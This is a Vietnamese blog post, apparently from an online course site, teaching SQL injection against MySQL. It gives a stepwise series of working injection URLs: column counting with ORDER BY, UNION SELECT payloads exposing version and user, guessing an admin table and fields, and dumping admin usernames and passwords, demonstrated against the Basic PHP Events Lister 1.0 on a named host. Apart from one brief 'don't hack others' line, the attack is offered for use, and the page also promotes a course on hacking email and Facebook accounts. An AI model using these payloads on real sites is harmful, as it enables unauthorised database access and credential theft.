Hướng Dẫn Khai Thác SQL Injection Đối Với My SQL
Có thể bạn quan tâm
SQL Injection là 1 lỗ hổng khá phổ biến và quen thuộc với hầu hết những ai đam mê hacking, nhưng hầu hết chỉ biết nó là 1 lỗ hổng để khai thác nhằm mục đích cá nhân nhưng ít ai lại tìm hiểu về định nghĩa, lí thuyết và cách thức gây ra lỗi của nó.
SQL Injection 1. Định Nghĩa: SQL Injection là 1 lỗi xảy ra trong quá trình xử lí câu truy vấn SQL (SQL Query) có xuất hiện các kí tự đặc biệt, kí tự không hợp lệ hay không tồn tại trong cơ sở dữ liệu(database). Giúp cho kẻ tấn công dễ dàng khai thác ngay trên nơi chứa dữ liệu đầu vào của ứng dụng, website... 2. Cách thức gây ra lỗi: Lỗi chỉ xảy ra khi ta thêm các kí tự đặc biệt như ',",*,-,... mà kết quả trả về là rỗng (empty, null) hoặc trả về trang báo lỗi thì có nghĩa là trang đó đã dính lỗi sql injection trong lúc thực hiện truy vấn. 3. Kiểm tra và Khai thác: Để kiểm tra lỗi ta thực hiện thêm ',",*,- vào các giá trị đầu vào của website, chẳng hạn như tôi có http://www.demo.com/index.php?id=1 thì id=1 của nó id <== dữ liệu đầu vào 1 <== giá trị của dữ liệu đầu vào ta tiến hành thêm các kí tự ',",*,-,... thì nó sẽ thành http://www.demo.com/index.php?id=1' http://www.demo.com/index.php?id=1" http://www.demo.com/index.php?id=1* http://www.demo.com/index.php?id=-1 Nếu kết quả nó trả về là rỗng (empty, null, hoặc trang trắng) hay trả về dòng thông báo lỗi như Error, Falcal thì cho thấy website bị dính lỗi sql injection Khai thác cơ bản - Đếm column (số cột) tồn tại trong table hiện tại mà website đang sử dụng: Thực hiện bước này để ta đếm được số cột (column) tồn tại trong table hiện tại đang được sử dụng ta có 2 truy vấn để thực hiện việc đếm số cột: order by number group by number giả sử tôi có 1 website đang sử dụng table "sonictable" và trong table đó có 3 column(3 cột) cột 1 tôi lấy tên là "id" cột 2 tôi lấy tên là "content" cột 3 tôi lấy tên là "authors" Khi tôi muốn thực hiện đếm cột tôi sẽ thực hiện truy vấn như sau: http://www.demo.com/index.php?id=1 order by 1-- - => bình thường (có tồn tại cột thứ 1) http://www.demo.com/index.php?id=1 order by 3-- - =>bình thường ( có tồn tại cột 3 ) nhưng khi tôi đếm sang cột thứ 4 http://www.demo.com/index.php?id=1 order by 4-- - => bị lỗi trả về kết quả là error hoặc rỗng hoặc falcal tức là website không tồn tại cột thứ 4 Khai thác cơ bản - tìm cột bị lỗi và tiến hành khai thác để tìm được cột bị lỗi, tôi dùng query union select number sau khi tôi đã tìm được số cột, tôi tiến hành tìm cột nào được hiển thị và có lỗi bằng query "union select" và tôi tìm được 3 cột tồn tại trong table, tôi có query để hiện thị các table được sử dụng hiển thị ra màn hình như sau: http://www.demo.com/index.php?id=1 union select 1,2,3 Lưu ý nhỏ: ** Khi union ta phải đưa giá trị về null để có thể hiện cột được sử dụng http://www.demo.com/index.php?id=null union select 1,2,3 giả sử nó hiện số 2 ra tức là column thứ 2 (column "content") đang được sử dụng để hiển thị nội dung, ta đánh dấu các column bằng số vì nó dễ nhìn (nếu có kiến thức thì có thể dùng cách khác để đánh dấu) tới đây, ta tiến hành khai thác column thứ 2, ta khai thác version của sql mà server đang sử dụng http://www.demo.com/index.php?id=null union select 1,version(),3 kết quả trả ra ngay vị trí thứ 2 sẽ là version của sql mà server đang sử dụng * Mở rộng: ta có thể dùng hàm concat để hiển thị gộp tất cả các giá trị ta muốn hiển thị như version, database name, username database http://www.demo.com/index.php?id=null union select 1,concat(version(),database(),user()),3 *và 1 rắc rối nhỏ là ta sẽ được trả ra 1 kết quả của version,database name, username database bị dính chùm rất khó nhìn, ta có thể tách nó ra bằng 1 đoạn mã hex 0x7c (7c là hex của "|" sau khi đã được chuyển thành hex) http://www.demo.com/index.php?id=null union select 1,concat(version(),0x7c,database(),0x7c,user()),3 và hiển thị lại không bị khó nhìn nữa. Về cơ bản thì tới đây các bạn cũng nắm rõ phần nào về lỗ hổng sql injection, định nghĩa và khai thác của nó. ngoài ra các bạn có thể tham khảo thêm các video khai thác, các hướng dẫn khai thác để tiếp tục học hỏi thêm về sql injection. Cách tiếp cận khác: I. Hướng dẫn cơ bản khai thác SQL Injection đối với MySQLDemo: Khai thác SQL Injection trong Basic PHP Events Lister 1.0 Đầu tiên với URL: http://seamoun.com/phpevents/event.php?id=1Thực hiện thêm dấu ' sau id=1. URL trở thành http://seamoun.com/phpevents/event.php?id=1'Ta phát hiện rằng phpvents có lỗi SQL Injection với thông báo sau: Code: Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\phpevents\event.php on line 37 Đối tượng khai thác SQL Injection ở đây là "Basic PHP Events Lister 1.0". Giả sử chúng ta không biết trường và bảng của ứng dụng web này là gì? Với lỗi SQL Injection gây ra bởi URL trên ta xem thử truy vấn (SQL) của nó liệu có bao nhiều trường. Sở dĩ cần xác định điều này bởi vì khi chúng ta dùng UNION trong câu lệnh SQL thì số lượng trường của hai câu lệnh select phải trùng nhau. (Các bạn không rõ vấn đề này thì xem ý nghĩa câu lệnh SQL. Ở đây mình không giải thích vì hiển nhiên phải hiểu rõ SQL mới khai thá được). Xác định có bao nhiêu trường truy vấn với URL http://seamoun.com/phpevents/event.php?id=1 có rất nhiều cách để thực hiện. Ở đây mình sử dụng order by <num>. Thực hiện tăng dần <num>. Khi thực hiện order by <num>, nếu trang web không hiển thị lỗi tức là số lượng trường vẫn còn, thực hiện tăng <num> cho đến khi nào xuất hiện lỗi tức là ta đã thực hiện tìm đủ số lượng trường. Lần lượt mình thử: Code: http://seamoun.com/phpevents/event.php?id=1 order by 1 http://seamoun.com/phpevents/event.php?id=1 order by 2 http://seamoun.com/phpevents/event.php?id=1 order by 3 ... http://seamoun.com/phpevents/event.php?id=1 order by 15 (<-- Vẫn OK) http://seamoun.com/phpevents/event.php?id=1 order by 16 (Xuất hiện lỗi) Như vậy truy vấn SQL với URL trên là 15 trường (field) Đến đây có thể điều tra phiên bản SQL, user với lệnh sau Code: http://seamoun.com/phpevents/event.php?id=1 union all select 1,@@version,1,1,1,1,1,1,1,1,1,1,1,1,1 http://seamoun.com/phpevents/event.php?id=1 union all select 1,user(),1,1,1,1,1,1,1,1,1,1,1,1,1 Sau khi đã có số lượng trường rồi thì lúc này sẽ tiến hành đoán bảng (table) login của nó: có thể thử với các table thông dụng như manager, admin, administrator, systemlogin, ... (Việc đoán table thuộc về kinh nghiệm, kết hợp với việc crawl, spider nội dung web mà mình khai thác). Nếu như tên bảng không đúng thì khi thực hiện union all select ... nó sẽ thông báo lỗi, ngược lại nếu tên đúng thì nó chạy OK. Tiến hành thử tìm table như sau: Code: http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from systemlogin (Fail) http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from manager (Fail) http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK) Sau khi đoán được tên table là admin. Tiếp theo là dự đoán tên trường trong bảng admin mà mình đã lấy được. Có thể đoán tên trường trong bảng admin như là username,uname,user, ... pass, passwd, password, pword, .... (Tương tự như trên cũng tùy thuộc vào kinh nghiệm kết hợp với việc crawl, spider nội dung web để tìm tên trường). Tiền hành thử như sau Code: http://seamoun.com/phpevents/event.php?id=1 union all select 1,username,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail) http://seamoun.com/phpevents/event.php?id=1 union all select 1,user,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail) http://seamoun.com/phpevents/event.php?id=1 union all select 1,uname,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK) Như vậy trường thứ nhất ta đoán được là uname trong bảng admin. Thực hiện đoán trường mật khẩu http://seamoun.com/phpevents/event.php?id=1 union all select 1,password,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail) http://seamoun.com/phpevents/event.php?id=1 union all select 1,passwd,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail) http://seamoun.com/phpevents/event.php?id=1 union all select 1,pword,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK) Như vậy ta đoán được trường mật khẩu là pword. Như vậy ta đã có thông tin đầy đủ để lấy user và pass trong bảng admin với 2 trường uname và pword + tên bảng là admin Thực hiện lệnh: Code: http://seamoun.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin. Thực chất với hai câu lệnh trên thì ta tìm được user và pass nhưng muốn thực hiện lệnh http://seamoun.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin. Để có được tất cả user và pass trong bảng admin. Nếu trường hợp này xuất hiện lỗi ta có thể thêm limit 0,1 và tăng dần limit 1,1 limit 2,1 để lấy hết tất cả user và pass Sở dĩ thực hiện câu lệnh trên để đồng thời lấy uname và pword không cần phải thực hiện 2 lần mới có được uname và pword. 0x3a---> dấu ":". Concat sẽ thực hiện cộng chuỗi Đến đây ta đã có thông tin uname và pword. Nếu trường hợp mà kết nối đến MySQL sử dụng user root thì việc tìm bảng và trường dễ dàng hơn với lệnh sau Code: Điều tra thông tin bảng: http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,table_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.tables Điều tra thông tin trường: http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,column_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.columns Ngoài ra trong một số trường hợp xuất hiện lỗi khi thực hiện khai thác có thể sử dụng hàm convert, hex, ... để không bị lỗi khi khai thác như: http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,unhex(hex(uname)),1,1,1,1,1,1,1,1,1,1,1,1 from admin II. Demo: Khai thác SQL Injection trong Basic PHP Events Lister 1.0 (milw0rm.com)Đây chỉ là hướng dẫn cơ bản nhất về khai thác SQL - Injection đối với MySQL. Các bạn demo thì install trên máy mình để kiểm tra, đừng đi hack người khác à nha.
Nhấn vào đây để bắt đầu khóa học
|
Khóa học Phân tích dữ liệu sử dụng Microsoft Power BI
Nhấn vào đây để bắt đầu khóa học Khóa học Phân tích dữ liệu sử dụng Power Query trong Excel
Nhấn vào đây để bắt đầu khóa học HƯỚNG DẪN THIẾT KẾ QUẢNG CÁO VÀ ĐỒ HỌA CHUYÊN NGHIỆP VỚI CANVA Hãy tham gia khóa học để trở thành người chuyên nghiệp. Tuyệt HAY!😲👍
KHÓA HỌC VIDEO- XÂY DỰNG PHẦN MỀM QUẢN LÝ BẰNG MICROSOFT ACCESS
GOOGLE SPREADSHEETS phê không tưởng
Khóa hoc lập trình bằng Python tại đây
Nếu bạn muốn tạo video chuyên nghiệp và sáng tạo hãy tham gia khóa học HƯỚNG DẪN TỰ TẠO VIDEO CLIP CHUYÊN NGHIỆP SÁNG TẠO
Hãy tham gia khóa học để biết mọi thứ
Để tham gia tất cả các bài học, Bạn nhấnvào đây
Nhấn vào đây để bắt đầu học Khóa học sử dụng Adobe Presenter-Tạo bài giảng điện tử
Khóa học vẽ tạo giao diện demo cho website
Cập nhật công nghệ từ Youtube tại link: https://www.youtube.com/channel/UCOxeYcvZPGf-mGLYSl_1LuA/videos Để tham gia khóa học công nghệ truy cập link: http://thuvien.hocviendaotao.com Mọi hỗ trợ về công nghệ email: [email protected] Topics: HAcker Lập trình PHP
About Học viện đào tạo trực tuyến
Xinh chào bạn. Tôi là Đinh Anh Tuấn - Thạc sĩ CNTT. Email: [email protected] . - Nhận đào tạo trực tuyến lập trình dành cho nhà quản lý, kế toán bằng Foxpro, Access 2010, Excel, Macro Excel, Macro Word, chứng chỉ MOS cao cấp, IC3, tiếng anh, phần mềm, phần cứng . - Nhận thiết kế phần mềm quản lý, Web, Web ứng dụng, quản lý, bán hàng,... Nhận Thiết kế bài giảng điện tử, số hóa tài liệu... HỌC VIỆN ĐÀO TẠO TRỰC TUYẾN:TẬN TÂM-CHẤT LƯỢNG. «Next
Bài đăng Mới hơn
»Previous
Bài đăng Cũ hơn
Bài đăng Mới hơn Bài đăng Cũ hơn Trang chủBài đăng nổi bật
Khóa Đào Tạo Hacker Mũ Trắng
Nhấn vào đây để bắt đầu khóa học Giúp học viên tìm hiểu cơ bản bản chuyên sâu kỹ năng hack website, sever, email, sms, facebook... Khóa...
Tuyển tập hay nhất
Khóa học trực tuyến
Truy cập nhiều nhất
-
Hướng dẫn về ASP.NET MVC và Action Result Nếu bạn đã từng làm việc trong một dự án ASP.NET MVC thì chắc chẳng còn xa lạ gì với khái niệm Action result mà ASP.NET MVC đã và đang cung... -
Hướng dẫn sử dụng phần mềm Anki - Học tiếng anh hiệu quả nhất Anki là một phần mềm được thiết kế để giúp bạn ghi nhớ các sự kiện, từ ngữ (chẳng hạn như từ ngữ trong một ngôn ngữ nước ngoài) một cách ... -
Phần mềm Bizagi Thiết kế, quản lý dữ liệu dự án cho doanh nghiệp Bizagi Modeler được thiết kế để diễn đạt hệ thống ký hiệu mô hình hóa tiến trình nghiệp vụ BPMN theo cấu trúc dự án, tiến tới mục tiêu tăng ... -
Apple tung video quảng cáo độ bền và camera của iPhone 11 Pro Apple vừa tung hai đoạn video ngắn để quảng cáo cho độ bền và 3 camera trên iPhone 11 Pro . Bạn sẽ thấy là iPhone 11 Pro bị ném nh...
-
Cách dùng Termux để cài phần mềm Hack trên điện thoại Android Mục lục bài viết Termux là gì? Cách cài đặt Có thể dùng Termux để Hack không? Cách cài đặt các công cụ hack trên Termux Cài NMAP – Công cụ ...
-
Những thói quen xấu đang "giết chết" chiếc laptop của bạn Laptop ngày càng khẳng định được vị thế quan trọng trong cuộc sống của con người hiện đại, song, ít ai biết được rằng, nh... -
Giới thiệu cơ sở dữ liệu AdventureWorks Trước đây, khi nói tới cơ sở dữ liệu ví dụ của Microsoft chúng ta sẽ nghĩ ngay tới CSDL Northwind , tuy nhiên từ khi giới thiệu SQL Server... -
108 câu hỏi trắc nghiệm và đáp án môn Quản Trị Mạng Câu hỏi và đáp án Câu 1. Địa chỉ IP có độ dài bao nhiêu bit và được phân thành bao nhiêu lớp? a. 32 bit, 4 lớp (A, B,C,D) ... -
Tìm kiếm file trên Window theo nhiều điều kiện hoặc danh sách Bạn đã bao giờ phải tìm danh sách các file khi biết tên file của các nó; nếu bạn cần xử lý tình huống như vậy hãy sử dụng công cụ SearchMyF... -
Những thông tin thú vị về quốc đảo Madagascar Madagascar là một quốc đảo ở Châu Phi, nằm ở Ấn Độ Dương bên phải của lục địa Phi châu. Các nhà khảo cổ ước tính rằng loài người đã đến địn...
Tin công nghệ
Download
Danh mục bài viết
- 3ds Max
- access
- Adobe Illustrator
- AI
- android
- Articulate Storyline
- autoit
- Bài thuốc
- Cây xanh
- Cây xanh trong nhà
- CI Framework
- Clip ca nhạc
- Công nghệ Mobile
- Công nghệ mới
- Công nghệ số
- css
- DotnetNuke
- Download
- Đào tạo CorelDraw chuyên nghiệp
- Đào tạo photoshop chuyên nghiệp
- Định hướng lập trình
- Đọc sách
- excel
- Foxpro
- Giải pháp excel chuyên nghiệp
- Giải trí
- Giáo dục
- Giới thiệu Phần mềm
- Google Apps Script
- Google Docs
- Google drive
- Google Sheets
- Google Slide
- HAcker
- Hàng khuyến mại
- hay
- Hệ thống Elearning Moodle
- Học tiếng anh
- Học từ Youtobe
- html
- Hướng dẫn xây dựng và quản lý JOOMLA
- Imacro
- ios apple
- Iphone
- Khoa học dữ liệu
- Khóa học hay
- Khóa học trực tuyến
- Kiểm thử phần mềm
- Kiến thức cơ bản
- Kiến thức cuộc sống
- Kinh doanh
- Kỹ năng
- lập trình
- Lập trình .NET
- Lập trình AngularJS
- Lập trình assembly
- Lập trình di động
- Lập trình Java
- Lập trình Javascript
- Lập trình Nodejs
- Lập trình PHP
- Machine Learning
- Microsoft Teams
- MP3
- Nấu ăn
- Nét xinh
- Ôn luyện thi chứng chỉ MOS
- phần cứng
- Phần mềm cho Bé và Cha mẹ
- PHP tool
- powerpoint
- Python
- Quản trị cơ sở dữ liệu SQL
- Quản trị dự án-công việc hiệu quả
- Quản Trị Mạng
- Sách nói
- Sách nổi tiếng - Best Seller
- Sáng tạo
- SEO-Tối ưu công cụ tìm kiếm
- skype
- SPSS
- Suy ngẫm hay
- Sức khỏe
- Symfony Framework
- tết
- Thiết kế đồ họa
- Tin hay
- Tin học Văn phòng
- Toeic 500-700
- Tranh treo
- Unity 3D
- vba
- visio
- web
- word
- wordpress
- Xây dựng bài giảng điện tử
- zalo
Nhóm Zalo CÔNG NGHỆ
Hiện nay có rất nhiều công việc mà bất cứ ai cũng có thể làm tốt khi không yêu cầu quá nhiều kiến thức chuyên môn, như: Bán hàng chẳng hạn. Ngồi một chỗ, với điện thoại và laptop là bạn có thể bán hàng 63 tỉnh thành, thậm chí toàn thế giới. Còn nếu bạn chưa biết bán hàng sao cho hiệu quả thì vào nhóm: HỌC VIỆN ĐÀO TẠO TRỰC TUYẾN. Bảo hiểm nhân thọ - bảo vệ người trụ cột
HỌC VIỆN ĐÀO TẠO TRỰC TUYẾN-TẬN TÂM-CHẤT LƯỢNG © 2014. All Rights Reserved. Designed by [email protected] Tel: 098 909 5293
Pages
Từ khóa » Khai Thác Lỗ Hổng Sql Injection
-
Các Kỹ Thuật Khai Thác SQL Injection - Viblo
-
Khai Thác Blind SQL Injection - Viblo
-
Khai Thác Lỗ Hổng SQL Injection Sử Dụng Sqlmap (Ở Mức độ Cơ Bản)
-
Web6: SQL Injection - Một Số Tool Khai Thác
-
Kali Linux Căn Bản – Bài 11: Thực Hành Khai Thác Lỗi SQL Injection ...
-
SQL Injection Là Gì? Nguy Hiểm đến Mức Nào Và Làm Sao để Phòng ...
-
Web4: SQL Injection - Các Bước Khai Thác
-
Sử Dụng SQLMap để Khai Thác Lỗ Hổng SQL Injection (SQLi)
-
Kiểm Tra Lỗ Hổng Bảo Mật SQL Injection - W3seo
-
SQL Injection Là Gì? Cách Bảo Mật Website An Toàn Trước Lỗ Hổng Này
-
Một Số Tool Khai Thác Lỗ Hổng Bảo Mật Web Application
-
[SQLSERVER] Chia Sẽ Video Học Khai Thác Lỗ Hổng SQL Injection ...
-
Lỗ Hổng Web: Kỹ Thuật SQL Injection